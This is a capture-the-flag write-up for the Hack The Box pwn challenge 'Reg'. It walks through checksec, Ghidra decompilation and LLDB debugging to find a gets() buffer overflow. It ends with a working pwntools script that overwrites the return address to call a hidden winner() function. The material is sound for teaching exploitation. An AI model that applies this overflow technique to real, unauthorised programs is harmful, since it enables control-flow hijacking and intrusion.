HTB - Reg
Introduction
Reg is an easy hack the box challenge under the pwn
category.
Key takeaways:
- buffer overflow
lldb
debugger
Recon
We must first get an initial understanding of the reg
binary and start off by running checksec
on it.
Below is the output of running the command checksec --file=reg --output=json
.
{
"reg": {
"relro": "partial",
"canary": "no",
"nx": "yes",
"pie": "no",
"rpath": "no",
"runpath": "no",
"symbols": "yes",
"fortify_source": "no",
"fortified": "0",
"fortify-able": "3"
}
}
We can see that the binary has no stack canaries but the Non-Executable (NX) flag is enabled. This means that we can perform a buffer overflow attack. The binary is also not a Position Independent Executable (PIE), in which the binary will not sit at random offsets in virtual memory.
We attempt to get more information about the binary by running the file
command on it.
The output is as follows:
In this case, the binary is not stripped, making it easier to reverse engineer. We run the program to get a feel of what we're dealing with.
The output is kind of uninteresting.
We enter a name and the program outputs 'Registered!'.
We decompile the binary using Ghidra
in order to get a better idea of what we're dealing with under-the-hood.
The main()
function only makes a call to run()
and immediately returns 0
.
The run()
function is slightly more interesting as shown below.
It declares a 48-byte char
buffer and uses gets()
to read input into the buffer.
After that, it prints the string "Registered!" and returns.
This is where we can potentially perform a buffer overflow attack as the gets()
function does not perform bounds checking.
Taking a closer all available functions, we come across a winner()
function.
This function gives us the flag by reading a file flag.txt
and printing it to stdout.
However, it isn't used during execution.
Therefore, in order to retrieve the flag, we must look for a way to make a call to it by taking control of the program flow.
Our main goal will be to place the function address of the winner()
function in the RIP
so that it can be called when the next function returns.
We can use LLDB to step through the execution in order to try to figure out how to overwrite the return address.
Our first step is to determine the number of bytes between the start of our input and the return address.
First, we pass the program name, reg
, as an argument to lldb
and run it.
We generate a long string and pass it in as an input in order to trigger a segfault
.
We then run the disassemble
command
This will give us some idea on where to set our breakpoints.
Let us set breakpoints before and after the call to gets()
.
Below is the snapshot of the memory from the address of the stack pointer before the call to gets()
.
And below is the snapshot of the memory from the address of the stack pointer after the call to gets()
.
In this case, we don't want to cause a segfault
which overrides the return address.
Therefore, we pass an extremely short string to determine the address the contains the return address.
Given that we passed four 'a's, we can see it available on the stack.
Additionally, we can see the return address bb 12 40
(0x4012bb) as highlighted..
We know that this is the return address as we can see it present in the disassembly after the CALL
instruction as highlighted below.
By counting the number of bytes between these two points, we determine that the number of bytes required is 56
.
Now, we need to figure out the address of the winner()
function.
We return to the disassembly in Ghidra
and see that the address of the winner()
function is 0x401206
as highlighted below.
Exploit Development
Now that we have found out where the return address lies and the address of the winner()
function, we can start crafting our exploit.
We can develop our exploit in Python with pwntools
as shown below by setting the ip
and port
variable to the hack the box instance.
import pwn
def local_target():
return pwn.process('./reg')
def remote_target():
ip = "<IP ADDRESS>"
port = <PORT>
return pwn.remote(ip, port)
target = remote_target()
pwn.context(os='linux', arch='amd64')
# Consume the prompt
print(target.recvuntil(': '))
# Send the payload
addr = pwn.p64(0x401206)
payload = b'a' * 56 + addr
target.sendline(payload)
# Print the response
print(target.recv())
print(target.recv())
Running the exploit against the hack the box remote instance gives us the following output.
We have successfully exploited the buffer overflow and retrieved the flag by overwriting the return address!